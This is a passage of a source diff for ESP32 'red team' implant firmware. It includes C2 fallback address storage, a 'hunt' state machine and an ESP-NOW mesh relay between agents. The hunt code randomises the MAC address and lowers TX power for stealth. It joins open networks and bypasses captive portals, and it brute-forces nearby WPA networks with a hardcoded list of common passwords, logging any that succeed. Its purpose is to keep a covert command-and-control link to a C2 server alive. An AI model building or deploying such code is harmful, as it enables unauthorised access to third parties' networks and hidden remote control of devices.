char existing[RT_ADDR_MAX_LEN] = {0};
size_t len = RT_ADDR_MAX_LEN;
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
if (strcmp(existing, addr) == 0) {
found = i;
break;
}
}
}
if (found < 0) {
nvs_close(h);
return false;
}
/* Shift down */
for (int i = found; i < count - 1; i++) {
char src_key[16], dst_key[16], buf[RT_ADDR_MAX_LEN];
size_t len = RT_ADDR_MAX_LEN;
snprintf(src_key, sizeof(src_key), "c2_%d", i + 1);
snprintf(dst_key, sizeof(dst_key), "c2_%d", i);
memset(buf, 0, sizeof(buf));
nvs_get_str(h, src_key, buf, &len);
nvs_set_str(h, dst_key, buf);
}
char key[16];
snprintf(key, sizeof(key), "c2_%d", (int)(count - 1));
nvs_erase_key(h, key);
count--;
nvs_set_i32(h, "c2_count", count);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Removed C2 fallback '%s' (total: %d)", addr, (int)count);
return true;
}
/* ============================================================
* Original MAC storage
* ============================================================ */
void rt_config_save_orig_mac(void)
{
uint8_t mac[6];
if (esp_wifi_get_mac(WIFI_IF_STA, mac) != ESP_OK) {
ESP_LOGW(TAG, "Failed to read STA MAC");
return;
}
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return;
nvs_set_blob(h, "orig_mac", mac, 6);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Saved original MAC: %02X:%02X:%02X:%02X:%02X:%02X",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
}
bool rt_config_get_orig_mac(uint8_t mac[6])
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return false;
size_t len = 6;
esp_err_t err = nvs_get_blob(h, "orig_mac", mac, &len);
nvs_close(h);
return (err == ESP_OK && len == 6);
}
#endif /* CONFIG_MODULE_REDTEAM */

View File

@ -0,0 +1,83 @@
/*
* rt_config.h
* NVS-backed known networks + C2 fallback addresses.
*/
#pragma once
#include <stdbool.h>
#include <stdint.h>
#include <stddef.h>
#ifdef __cplusplus
extern "C" {
#endif
#ifndef CONFIG_RT_MAX_KNOWN_NETWORKS
#define CONFIG_RT_MAX_KNOWN_NETWORKS 16
#endif
#ifndef CONFIG_RT_MAX_C2_FALLBACKS
#define CONFIG_RT_MAX_C2_FALLBACKS 4
#endif
#define RT_SSID_MAX_LEN 33 /* 32 + NUL */
#define RT_PASS_MAX_LEN 65 /* 64 + NUL */
#define RT_ADDR_MAX_LEN 64 /* "ip:port" or "host:port" */
/* ============================================================
* Known WiFi networks
* ============================================================ */
typedef struct {
char ssid[RT_SSID_MAX_LEN];
char pass[RT_PASS_MAX_LEN];
} rt_network_t;
/* Init NVS namespace, load config */
void rt_config_init(void);
/* Add/update a known network. Empty pass = open network. */
bool rt_config_net_add(const char *ssid, const char *pass);
/* Remove a known network by SSID. Returns false if not found. */
bool rt_config_net_remove(const char *ssid);
/* Get known networks list. Returns count. */
int rt_config_net_list(rt_network_t *out, int max_count);
/* Get count of known networks. */
int rt_config_net_count(void);
/* ============================================================
* C2 fallback addresses
* ============================================================ */
typedef struct {
char addr[RT_ADDR_MAX_LEN]; /* "ip:port" */
} rt_c2_addr_t;
/* Add a C2 fallback address. Returns false if full. */
bool rt_config_c2_add(const char *addr);
/* Remove a C2 fallback address. Returns false if not found. */
bool rt_config_c2_remove(const char *addr);
/* Get C2 fallback addresses. Returns count. */
int rt_config_c2_list(rt_c2_addr_t *out, int max_count);
/* Get count of C2 fallback addresses. */
int rt_config_c2_count(void);
/* ============================================================
* Original MAC storage (for restoration)
* ============================================================ */
/* Save the current STA MAC as the original. Called once at boot. */
void rt_config_save_orig_mac(void);
/* Get the saved original MAC. Returns false if not saved. */
bool rt_config_get_orig_mac(uint8_t mac[6]);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,726 @@
/*
* rt_hunt.c
* Red Team hunt state machine autonomous network hunting.
* FreeRTOS task (8KB stack, Core 1).
*/
#include "sdkconfig.h"
#include "rt_hunt.h"
#ifdef CONFIG_MODULE_REDTEAM
#include <string.h>
#include <stdio.h>
#include "esp_log.h"
#include "esp_wifi.h"
#include "esp_event.h"
#include "esp_netif.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/event_groups.h"
#include "lwip/sockets.h"
#include "lwip/netdb.h"
#include "utils.h"
#include "rt_config.h"
#include "rt_stealth.h"
#include "rt_captive.h"
#include "rt_mesh.h"
static const char *TAG = "RT_HUNT";
#define RT_HUNT_STACK 8192
#define RT_HUNT_PRIO 6
#define RT_WIFI_TIMEOUT_MS 8000
#define RT_TCP_TIMEOUT_S 5
#define RT_RESCAN_DELAY_S 60
#define RT_MAX_WPA_TRIES 5
#define RT_WPA_MIN_RSSI -65
/* Event bits for WiFi events */
#define RT_EVT_GOT_IP BIT0
#define RT_EVT_DISCONNECT BIT1
/* ============================================================
* State
* ============================================================ */
static volatile rt_state_t s_state = RT_IDLE;
static char s_connected_ssid[33] = {0};
static char s_connected_method[16] = {0};
static volatile bool s_active = false;
static TaskHandle_t s_task_handle = NULL;
static EventGroupHandle_t s_evt_group = NULL;
/* Mutex protecting s_state, s_connected_ssid, s_connected_method */
static SemaphoreHandle_t s_state_mutex = NULL;
static inline void state_lock(void) {
if (s_state_mutex) xSemaphoreTake(s_state_mutex, portMAX_DELAY);
}
static inline void state_unlock(void) {
if (s_state_mutex) xSemaphoreGive(s_state_mutex);
}
/* Saved original WiFi config for restore */
static wifi_config_t s_orig_wifi_config;
static bool s_orig_config_saved = false;
/* State name lookup */
static const char *state_names[] = {
[RT_IDLE] = "idle",
[RT_STEALTH_PREP] = "stealth_prep",
[RT_PASSIVE_SCAN] = "passive_scan",
[RT_MESH_PROBE] = "mesh_probe",
[RT_MESH_RELAY] = "mesh_relay",
[RT_TRYING_KNOWN] = "trying_known",
[RT_TRYING_OPEN] = "trying_open",
[RT_TRYING_WPA] = "trying_wpa",
[RT_PORTAL_CHECK] = "portal_check",
[RT_PORTAL_BYPASS] = "portal_bypass",
[RT_C2_VERIFY] = "c2_verify",
[RT_CONNECTED] = "connected",
[RT_GPRS] = "gprs",
};
/* Common WPA passwords (flash, not RAM) */
static const char * const common_passwords[] = {
"12345678", "password", "00000000", "11111111",
"123456789", "1234567890", "admin1234", "wifi1234",
"internet", "guest", "welcome", "freewifi",
"password1", "qwerty123", "abcd1234", "12341234",
"home1234", "default", "changeme",
};
#define NUM_COMMON_PASSWORDS (sizeof(common_passwords) / sizeof(common_passwords[0]))
/* ============================================================
* WiFi event handler for hunt (registered dynamically)
* ============================================================ */
static void rt_wifi_event_handler(void *arg, esp_event_base_t base,
int32_t id, void *data)
{
if (!s_evt_group) return;
if (base == IP_EVENT && id == IP_EVENT_STA_GOT_IP) {
xEventGroupSetBits(s_evt_group, RT_EVT_GOT_IP);
}
if (base == WIFI_EVENT && id == WIFI_EVENT_STA_DISCONNECTED) {
xEventGroupSetBits(s_evt_group, RT_EVT_DISCONNECT);
}
}
/* ============================================================
* Helpers
* ============================================================ */
static void set_state(rt_state_t new_state)
{
state_lock();
s_state = new_state;
state_unlock();
ESP_LOGI(TAG, "→ %s", state_names[new_state]);
}
/* Try to connect to a WiFi network. Returns true if got IP. */
static bool wifi_try_connect(const char *ssid, const char *pass, int timeout_ms)
{
wifi_config_t cfg = {0};
strncpy((char *)cfg.sta.ssid, ssid, sizeof(cfg.sta.ssid) - 1);
if (pass && pass[0]) {
strncpy((char *)cfg.sta.password, pass, sizeof(cfg.sta.password) - 1);
}
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(200));
esp_wifi_set_config(WIFI_IF_STA, &cfg);
xEventGroupClearBits(s_evt_group, RT_EVT_GOT_IP | RT_EVT_DISCONNECT);
esp_wifi_connect();
EventBits_t bits = xEventGroupWaitBits(
s_evt_group,
RT_EVT_GOT_IP | RT_EVT_DISCONNECT,
pdTRUE, /* clear on exit */
pdFALSE, /* any bit */
pdMS_TO_TICKS(timeout_ms)
);
if (bits & RT_EVT_GOT_IP) {
ESP_LOGI(TAG, "Got IP on '%s'", ssid);
return true;
}
ESP_LOGW(TAG, "WiFi connect to '%s' failed/timed out", ssid);
return false;
}
/* Try TCP connect to C2. Returns true if reachable.
* Does NOT keep the socket just verifies connectivity. */
static bool tcp_try_c2(const char *ip, int port)
{
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(ip);
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) return false;
/* Set connect timeout */
struct timeval tv = { .tv_sec = RT_TCP_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
int ret = lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr));
lwip_close(s);
if (ret == 0) {
ESP_LOGI(TAG, "C2 reachable at %s:%d", ip, port);
return true;
}
return false;
}
/* Try C2 primary + fallbacks. Returns true if any reachable. */
static bool verify_c2_reachable(void)
{
set_state(RT_C2_VERIFY);
/* Try primary C2 */
if (tcp_try_c2(CONFIG_SERVER_IP, CONFIG_SERVER_PORT)) {
return true;
}
/* Try NVS fallback addresses */
rt_c2_addr_t addrs[CONFIG_RT_MAX_C2_FALLBACKS];
int count = rt_config_c2_list(addrs, CONFIG_RT_MAX_C2_FALLBACKS);
for (int i = 0; i < count; i++) {
/* Parse "ip:port" */
char ip_buf[48];
int port = CONFIG_SERVER_PORT;
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
ip_buf[sizeof(ip_buf) - 1] = '\0';
char *colon = strrchr(ip_buf, ':');
if (colon) {
*colon = '\0';
port = atoi(colon + 1);
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
}
if (tcp_try_c2(ip_buf, port)) {
return true;
}
}
ESP_LOGW(TAG, "C2 unreachable (primary + %d fallbacks)", count);
return false;
}
/* Mark successful connection */
static void mark_connected(const char *ssid, const char *method)
{
state_lock();
strncpy(s_connected_ssid, ssid, sizeof(s_connected_ssid) - 1);
s_connected_ssid[sizeof(s_connected_ssid) - 1] = '\0';
strncpy(s_connected_method, method, sizeof(s_connected_method) - 1);
s_connected_method[sizeof(s_connected_method) - 1] = '\0';
state_unlock();
set_state(RT_CONNECTED);
char buf[128];
snprintf(buf, sizeof(buf), "Connected via %s: '%s'", method, ssid);
msg_info(TAG, buf, NULL);
}
/* ============================================================
* WiFi scan (active passive scan is Phase 3)
* ============================================================ */
typedef struct {
char ssid[33];
uint8_t bssid[6];
int8_t rssi;
uint8_t channel;
wifi_auth_mode_t authmode;
} rt_candidate_t;
#define RT_MAX_CANDIDATES 32
static rt_candidate_t s_candidates[RT_MAX_CANDIDATES];
static int s_candidate_count = 0;
static void do_wifi_scan(void)
{
s_candidate_count = 0;
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(200));
wifi_scan_config_t scan_cfg = {
.ssid = NULL,
.bssid = NULL,
.channel = 0,
.show_hidden = true,
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
.scan_time = {
.active = { .min = 120, .max = 300 },
},
};
esp_err_t err = esp_wifi_scan_start(&scan_cfg, true); /* blocking */
if (err != ESP_OK) {
ESP_LOGE(TAG, "WiFi scan failed: %s", esp_err_to_name(err));
return;
}
uint16_t ap_count = 0;
esp_wifi_scan_get_ap_num(&ap_count);
if (ap_count == 0) {
ESP_LOGW(TAG, "Scan: 0 APs found");
return;
}
if (ap_count > RT_MAX_CANDIDATES) ap_count = RT_MAX_CANDIDATES;
wifi_ap_record_t *records = malloc(ap_count * sizeof(wifi_ap_record_t));
if (!records) {
esp_wifi_scan_get_ap_records(&ap_count, NULL); /* free scan memory */
return;
}
esp_wifi_scan_get_ap_records(&ap_count, records);
for (int i = 0; i < ap_count; i++) {
rt_candidate_t *c = &s_candidates[s_candidate_count];
strncpy(c->ssid, (char *)records[i].ssid, sizeof(c->ssid) - 1);
c->ssid[sizeof(c->ssid) - 1] = '\0';
memcpy(c->bssid, records[i].bssid, 6);
c->rssi = records[i].rssi;
c->channel = records[i].primary;
c->authmode = records[i].authmode;
s_candidate_count++;
}
free(records);
ESP_LOGI(TAG, "Scan: %d APs found", s_candidate_count);
/* Report to C2 */
char buf[64];
snprintf(buf, sizeof(buf), "Scan complete: %d APs", s_candidate_count);
msg_info(TAG, buf, NULL);
}
/* ============================================================
* Strategy 1: Try known networks (NVS)
* ============================================================ */
static bool try_known_networks(void)
{
set_state(RT_TRYING_KNOWN);
/* Try original WiFi config first (the one we were connected to) */
if (s_orig_config_saved && s_orig_wifi_config.sta.ssid[0]) {
ESP_LOGI(TAG, "Trying original WiFi: '%s'",
(char *)s_orig_wifi_config.sta.ssid);
#ifdef CONFIG_RT_STEALTH
rt_stealth_randomize_mac();
#endif
if (wifi_try_connect((char *)s_orig_wifi_config.sta.ssid,
(char *)s_orig_wifi_config.sta.password,
RT_WIFI_TIMEOUT_MS)) {
if (verify_c2_reachable()) {
mark_connected((char *)s_orig_wifi_config.sta.ssid, "original");
return true;
}
ESP_LOGW(TAG, "Original WiFi connected but C2 unreachable");
}
}
/* Then try NVS known networks */
rt_network_t nets[CONFIG_RT_MAX_KNOWN_NETWORKS];
int net_count = rt_config_net_list(nets, CONFIG_RT_MAX_KNOWN_NETWORKS);
if (net_count == 0) {
ESP_LOGI(TAG, "No additional known networks in NVS");
return false;
}
/* Try each known network that was found in scan */
for (int n = 0; n < net_count; n++) {
/* Check if this SSID was in the scan results */
bool found_in_scan = false;
for (int c = 0; c < s_candidate_count; c++) {
if (strcmp(s_candidates[c].ssid, nets[n].ssid) == 0) {
found_in_scan = true;
break;
}
}
if (!found_in_scan) {
/* Still try — might be hidden or missed by scan */
}
ESP_LOGI(TAG, "Trying known: '%s'", nets[n].ssid);
#ifdef CONFIG_RT_STEALTH
rt_stealth_randomize_mac();
#endif
if (wifi_try_connect(nets[n].ssid, nets[n].pass, RT_WIFI_TIMEOUT_MS)) {
if (verify_c2_reachable()) {
mark_connected(nets[n].ssid, "known");
return true;
}
ESP_LOGW(TAG, "'%s' connected but C2 unreachable", nets[n].ssid);
}
}
return false;
}
/* ============================================================
* Strategy 2: Try open WiFi networks
* ============================================================ */
static bool try_open_networks(void)
{
set_state(RT_TRYING_OPEN);
for (int i = 0; i < s_candidate_count; i++) {
if (s_candidates[i].authmode != WIFI_AUTH_OPEN)
continue;
if (s_candidates[i].ssid[0] == '\0')
continue; /* hidden */
ESP_LOGI(TAG, "Trying open: '%s' (RSSI=%d)",
s_candidates[i].ssid, s_candidates[i].rssi);
#ifdef CONFIG_RT_STEALTH
rt_stealth_randomize_mac();
#endif
if (wifi_try_connect(s_candidates[i].ssid, "", RT_WIFI_TIMEOUT_MS)) {
/* Check for captive portal */
set_state(RT_PORTAL_CHECK);
rt_portal_status_t portal = rt_captive_detect();
if (portal == RT_PORTAL_NONE) {
if (verify_c2_reachable()) {
mark_connected(s_candidates[i].ssid, "open");
return true;
}
} else if (portal == RT_PORTAL_DETECTED) {
set_state(RT_PORTAL_BYPASS);
if (rt_captive_bypass()) {
if (verify_c2_reachable()) {
mark_connected(s_candidates[i].ssid, "open+portal");
return true;
}
}
ESP_LOGW(TAG, "Portal bypass failed for '%s'",
s_candidates[i].ssid);
} else {
/* RT_PORTAL_UNKNOWN — try C2 directly anyway */
if (verify_c2_reachable()) {
mark_connected(s_candidates[i].ssid, "open");
return true;
}
}
}
}
return false;
}
/* ============================================================
* Strategy 3: Try WPA with common passwords
* ============================================================ */
static bool try_wpa_common(void)
{
set_state(RT_TRYING_WPA);
for (int i = 0; i < s_candidate_count; i++) {
/* Only WPA/WPA2, strong signal */
if (s_candidates[i].authmode == WIFI_AUTH_OPEN ||
s_candidates[i].authmode == WIFI_AUTH_WEP)
continue;
if (s_candidates[i].rssi < RT_WPA_MIN_RSSI)
continue;
if (s_candidates[i].ssid[0] == '\0')
continue;
ESP_LOGI(TAG, "Trying WPA passwords on '%s' (RSSI=%d)",
s_candidates[i].ssid, s_candidates[i].rssi);
int tries = 0;
for (int p = 0; p < (int)NUM_COMMON_PASSWORDS && tries < RT_MAX_WPA_TRIES; p++) {
tries++;
#ifdef CONFIG_RT_STEALTH
rt_stealth_randomize_mac();
#endif
if (wifi_try_connect(s_candidates[i].ssid,
common_passwords[p],
RT_WIFI_TIMEOUT_MS)) {
/* Connected! Verify C2 */
if (verify_c2_reachable()) {
mark_connected(s_candidates[i].ssid, "wpa");
return true;
}
/* Connected to WiFi but C2 unreachable — still good find,
but continue looking for one with C2 access */
ESP_LOGW(TAG, "'%s' pass='%s' — WiFi OK but no C2",
s_candidates[i].ssid, common_passwords[p]);
break; /* Don't try more passwords on this SSID */
}
}
}
return false;
}
/* ============================================================
* Hunt task main state machine
* ============================================================ */
extern atomic_bool fb_active; /* defined in WiFi.c */
extern void wifi_pause_reconnect(void);
extern void wifi_resume_reconnect(void);
extern SemaphoreHandle_t sock_mutex;
static void hunt_task(void *arg)
{
(void)arg;
ESP_LOGI(TAG, "Hunt task started");
/* Save original WiFi config */
if (!s_orig_config_saved) {
esp_wifi_get_config(WIFI_IF_STA, &s_orig_wifi_config);
s_orig_config_saved = true;
}
/* Let the command response (msg_info "Hunt started") flush over TCP
* before we disconnect WiFi. Without this delay the response is lost. */
vTaskDelay(pdMS_TO_TICKS(500));
/* Take control of WiFi from normal reconnect logic */
fb_active = true;
wifi_pause_reconnect();
/* Register our event handler */
esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
&rt_wifi_event_handler, NULL);
esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
&rt_wifi_event_handler, NULL);
while (s_active) {
/* ---- STEALTH PREP ---- */
#ifdef CONFIG_RT_STEALTH
set_state(RT_STEALTH_PREP);
rt_stealth_randomize_mac();
rt_stealth_low_tx_power();
vTaskDelay(pdMS_TO_TICKS(100));
#endif
/* ---- SCAN ---- */
set_state(RT_PASSIVE_SCAN);
do_wifi_scan();
/* ---- MESH PROBE ---- */
#ifdef CONFIG_RT_MESH
set_state(RT_MESH_PROBE);
rt_mesh_probe();
vTaskDelay(pdMS_TO_TICKS(3000)); /* Wait for ACK */
rt_mesh_peer_t peer;
if (rt_mesh_get_relay(&peer) && peer.available) {
set_state(RT_MESH_RELAY);
msg_info(TAG, "Mesh relay available — using ESP-NOW", NULL);
mark_connected("ESP-NOW", "mesh");
/* Stay in mesh relay mode until stopped or wifi found */
while (s_active && rt_mesh_is_running()) {
vTaskDelay(pdMS_TO_TICKS(5000));
}
if (!s_active) break;
}
#endif
/* ---- STRATEGY 1: Known networks ---- */
if (s_active && try_known_networks()) break;
/* ---- STRATEGY 2: Open networks ---- */
if (s_active && try_open_networks()) break;
/* ---- STRATEGY 3: WPA common passwords ---- */
if (s_active && try_wpa_common()) break;
/* ---- STRATEGY 4: GPRS ---- */
#ifdef CONFIG_RT_GPRS_FALLBACK
set_state(RT_GPRS);
ESP_LOGW(TAG, "GPRS fallback — not yet implemented");
#endif
/* ---- All strategies failed — wait and rescan ---- */
if (!s_active) break;
ESP_LOGW(TAG, "All strategies exhausted — wait %ds and rescan",
RT_RESCAN_DELAY_S);
set_state(RT_IDLE);
for (int i = 0; i < RT_RESCAN_DELAY_S && s_active; i++) {
vTaskDelay(pdMS_TO_TICKS(1000));
}
}
/* ---- Cleanup ---- */
/* Unregister our handler */
esp_event_handler_unregister(IP_EVENT, IP_EVENT_STA_GOT_IP,
&rt_wifi_event_handler);
esp_event_handler_unregister(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
&rt_wifi_event_handler);
if (s_state == RT_CONNECTED) {
/* We found a connection — let the normal tcp_client_task take over.
* It will use whatever WiFi we're connected to. */
#ifdef CONFIG_RT_STEALTH
rt_stealth_restore_tx_power();
#endif
fb_active = false;
wifi_resume_reconnect();
ESP_LOGI(TAG, "Hunt complete — handing off to tcp_client_task");
} else {
/* Restore original WiFi config */
#ifdef CONFIG_RT_STEALTH
rt_stealth_restore_mac();
rt_stealth_restore_tx_power();
#endif
if (s_orig_config_saved) {
esp_wifi_set_config(WIFI_IF_STA, &s_orig_wifi_config);
}
fb_active = false;
wifi_resume_reconnect();
/* Reconnect to original WiFi */
esp_wifi_connect();
ESP_LOGI(TAG, "Hunt stopped — restoring original WiFi");
}
s_task_handle = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
const char *rt_hunt_state_name(rt_state_t state)
{
if (state <= RT_GPRS)
return state_names[state];
return "unknown";
}
rt_state_t rt_hunt_get_state(void)
{
state_lock();
rt_state_t st = s_state;
state_unlock();
return st;
}
bool rt_hunt_is_active(void)
{
return s_active;
}
const char *rt_hunt_connected_ssid(void)
{
/* Returned pointer is to static buffer — safe to read while mutex
ensures the string is not being partially written. Caller should
copy if it needs to keep the value. */
static char ssid_copy[33];
state_lock();
memcpy(ssid_copy, s_connected_ssid, sizeof(ssid_copy));
state_unlock();
return ssid_copy;
}
const char *rt_hunt_connected_method(void)
{
static char method_copy[16];
state_lock();
memcpy(method_copy, s_connected_method, sizeof(method_copy));
state_unlock();
return method_copy;
}
void rt_hunt_trigger(void)
{
if (s_active) {
ESP_LOGW(TAG, "Hunt already active");
return;
}
/* Create mutex ONCE before any task uses it — avoids lazy init race */
if (!s_state_mutex) {
s_state_mutex = xSemaphoreCreateMutex();
}
if (!s_evt_group) {
s_evt_group = xEventGroupCreate();
}
s_active = true;
state_lock();
s_state = RT_IDLE;
s_connected_ssid[0] = '\0';
s_connected_method[0] = '\0';
state_unlock();
BaseType_t ret = xTaskCreatePinnedToCore(
hunt_task,
"rt_hunt",
RT_HUNT_STACK,
NULL,
RT_HUNT_PRIO,
&s_task_handle,
1 /* Core 1 */
);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create hunt task");
s_active = false;
}
}
void rt_hunt_stop(void)
{
if (!s_active) return;
s_active = false; /* Signal task to exit */
/* Wait for task to finish cleanup (max 5s) */
for (int i = 0; i < 50 && s_task_handle != NULL; i++) {
vTaskDelay(pdMS_TO_TICKS(100));
}
state_lock();
s_state = RT_IDLE;
s_connected_ssid[0] = '\0';
s_connected_method[0] = '\0';
state_unlock();
ESP_LOGI(TAG, "Hunt stopped");
}
#endif /* CONFIG_MODULE_REDTEAM */

View File

@ -0,0 +1,61 @@
/*
* rt_hunt.h
* Red Team hunt state machine autonomous network hunting.
*/
#pragma once
#include <stdbool.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================
* Hunt states
* ============================================================ */
typedef enum {
RT_IDLE,
RT_STEALTH_PREP,
RT_PASSIVE_SCAN,
RT_MESH_PROBE,
RT_MESH_RELAY,
RT_TRYING_KNOWN,
RT_TRYING_OPEN,
RT_TRYING_WPA,
RT_PORTAL_CHECK,
RT_PORTAL_BYPASS,
RT_C2_VERIFY,
RT_CONNECTED,
RT_GPRS,
} rt_state_t;
/* ============================================================
* API
* ============================================================ */
/* Trigger the hunt (start the state machine task if not running).
* Called by C2 command or auto-trigger on TCP failure. */
void rt_hunt_trigger(void);
/* Stop the hunt, restore original WiFi + MAC + TX power. */
void rt_hunt_stop(void);
/* Get current state. */
rt_state_t rt_hunt_get_state(void);
/* Get state name as string. */
const char *rt_hunt_state_name(rt_state_t state);
/* Is the hunt task currently running? */
bool rt_hunt_is_active(void);
/* Get the SSID we connected to (empty if none). */
const char *rt_hunt_connected_ssid(void);
/* Get the method used to connect (e.g. "known", "open", "wpa", "mesh"). */
const char *rt_hunt_connected_method(void);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,296 @@
/*
* rt_mesh.c
* ESP-NOW mesh relay between Espilon agents.
*
* Protocol:
* Agent A (no internet) ESP-NOW broadcast "ESPNOW_PROBE"
* Agent B (connected) ESP-NOW unicast "ESPNOW_ACK:<device_id>"
* Agent A sends "RELAY:<device_id>:<base64_encrypted_msg>"
* Agent B receives forwards via TCP to C2
* Agent B receives resp "REPLY:<device_id>:<base64_encrypted_resp>"
*
* ESP-NOW works WITHOUT WiFi association pure 802.11 P2P.
*/
#include "sdkconfig.h"
#include "rt_mesh.h"
#include <string.h>
#ifdef CONFIG_MODULE_REDTEAM
#ifdef CONFIG_RT_MESH
#include <stdio.h>
#include "esp_log.h"
#include "esp_now.h"
#include "esp_wifi.h"
#include "lwip/sockets.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"
#include "utils.h"
static const char *TAG = "RT_MESH";
#define ESPNOW_PMK "espilon_mesh_pmk" /* 16 bytes primary master key */
#define ESPNOW_CHANNEL 1
#define PROBE_MAGIC "ESPNOW_PROBE"
#define ACK_MAGIC "ESPNOW_ACK:"
#define RELAY_MAGIC "RELAY:"
#define REPLY_MAGIC "REPLY:"
#define PROBE_INTERVAL_MS 5000
#define MAX_PEERS 4
static volatile bool s_running = false;
static volatile bool s_initialized = false;
static TaskHandle_t s_probe_task = NULL;
/* Best relay peer */
static rt_mesh_peer_t s_best_relay = {0};
static SemaphoreHandle_t s_relay_mutex = NULL;
/* ============================================================
* ESP-NOW receive callback
* ============================================================ */
static void espnow_recv_cb(const esp_now_recv_info_t *info,
const uint8_t *data, int len)
{
if (!s_running || !data || len <= 0) return;
/* ACK from a connected agent: "ESPNOW_ACK:<device_id>" */
if (len > (int)strlen(ACK_MAGIC) &&
memcmp(data, ACK_MAGIC, strlen(ACK_MAGIC)) == 0) {
const char *dev_id = (const char *)data + strlen(ACK_MAGIC);
int id_len = len - (int)strlen(ACK_MAGIC);
if (id_len <= 0 || id_len > 15) id_len = (id_len <= 0) ? 0 : 15;
if (id_len == 0) return;
if (s_relay_mutex && xSemaphoreTake(s_relay_mutex, 0) == pdTRUE) {
/* Use RSSI to pick the best relay */
int8_t rssi = info->rx_ctrl->rssi;
if (!s_best_relay.available || rssi > s_best_relay.rssi) {
memcpy(s_best_relay.mac, info->src_addr, 6);
memcpy(s_best_relay.device_id, dev_id, id_len);
s_best_relay.device_id[id_len] = '\0';
s_best_relay.rssi = rssi;
s_best_relay.available = true;
ESP_LOGI(TAG, "Relay found: %s (RSSI=%d)", s_best_relay.device_id, rssi);
}
xSemaphoreGive(s_relay_mutex);
}
return;
}
/* PROBE from another agent looking for a relay */
if (len == (int)strlen(PROBE_MAGIC) &&
memcmp(data, PROBE_MAGIC, strlen(PROBE_MAGIC)) == 0) {
/* We answer only if we have internet (sock >= 0) */
extern int sock;
if (sock >= 0) {
/* Send ACK with our device_id */
char ack[64];
int ack_len = snprintf(ack, sizeof(ack), "%s%s", ACK_MAGIC, CONFIG_DEVICE_ID);
/* Add peer if not already added */
esp_now_peer_info_t peer = {0};
memcpy(peer.peer_addr, info->src_addr, 6);
peer.channel = 0; /* current channel */
peer.encrypt = false;
esp_now_add_peer(&peer); /* ignore error if already exists */
esp_now_send(info->src_addr, (uint8_t *)ack, ack_len);
ESP_LOGI(TAG, "Answered PROBE from %02X:%02X:%02X:%02X:%02X:%02X",
info->src_addr[0], info->src_addr[1], info->src_addr[2],
info->src_addr[3], info->src_addr[4], info->src_addr[5]);
}
return;
}
/* RELAY request from another agent: forward to C2 via TCP */
if (len > (int)strlen(RELAY_MAGIC) &&
memcmp(data, RELAY_MAGIC, strlen(RELAY_MAGIC)) == 0) {
extern int sock;
extern SemaphoreHandle_t sock_mutex;
if (sock >= 0 && sock_mutex) {
const uint8_t *payload = data + strlen(RELAY_MAGIC);
int payload_len = len - strlen(RELAY_MAGIC);
xSemaphoreTake(sock_mutex, portMAX_DELAY);
int s = sock;
xSemaphoreGive(sock_mutex);
if (s >= 0) {
/* Forward as-is — the payload is already encrypted E2E */
lwip_write(s, payload, payload_len);
lwip_write(s, "\n", 1);
ESP_LOGI(TAG, "Relayed %d bytes to C2", payload_len);
}
}
return;
}
}
/* ============================================================
* ESP-NOW send callback
* ============================================================ */
static void espnow_send_cb(const uint8_t *mac, esp_now_send_status_t status)
{
/* Minimal — just log failures */
if (status != ESP_NOW_SEND_SUCCESS) {
ESP_LOGW(TAG, "ESP-NOW send failed to %02X:%02X:%02X:%02X:%02X:%02X",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
}
}
/* ============================================================
* Probe task periodically broadcast to find relays
* ============================================================ */
static void probe_task(void *arg)
{
(void)arg;
/* Broadcast peer */
esp_now_peer_info_t bcast = {0};
memset(bcast.peer_addr, 0xFF, 6);
bcast.channel = 0;
bcast.encrypt = false;
esp_now_add_peer(&bcast);
while (s_running) {
/* Broadcast probe */
esp_now_send(bcast.peer_addr,
(uint8_t *)PROBE_MAGIC,
strlen(PROBE_MAGIC));
vTaskDelay(pdMS_TO_TICKS(PROBE_INTERVAL_MS));
}
s_probe_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
bool rt_mesh_start(void)
{
if (s_running) return true;
if (!s_relay_mutex) {
s_relay_mutex = xSemaphoreCreateMutex();
}
if (!s_initialized) {
esp_err_t ret = esp_now_init();
if (ret != ESP_OK) {
ESP_LOGE(TAG, "esp_now_init failed: %s", esp_err_to_name(ret));
return false;
}
esp_now_register_recv_cb(espnow_recv_cb);
esp_now_register_send_cb(espnow_send_cb);
s_initialized = true;
}
s_running = true;
memset(&s_best_relay, 0, sizeof(s_best_relay));
xTaskCreatePinnedToCore(probe_task, "rt_mesh", 3072, NULL, 4, &s_probe_task, 0);
ESP_LOGI(TAG, "ESP-NOW mesh relay started");
return true;
}
void rt_mesh_stop(void)
{
s_running = false;
/* Wait for probe task to stop */
for (int i = 0; i < 30 && s_probe_task != NULL; i++) {
vTaskDelay(pdMS_TO_TICKS(100));
}
if (s_initialized) {
esp_now_deinit();
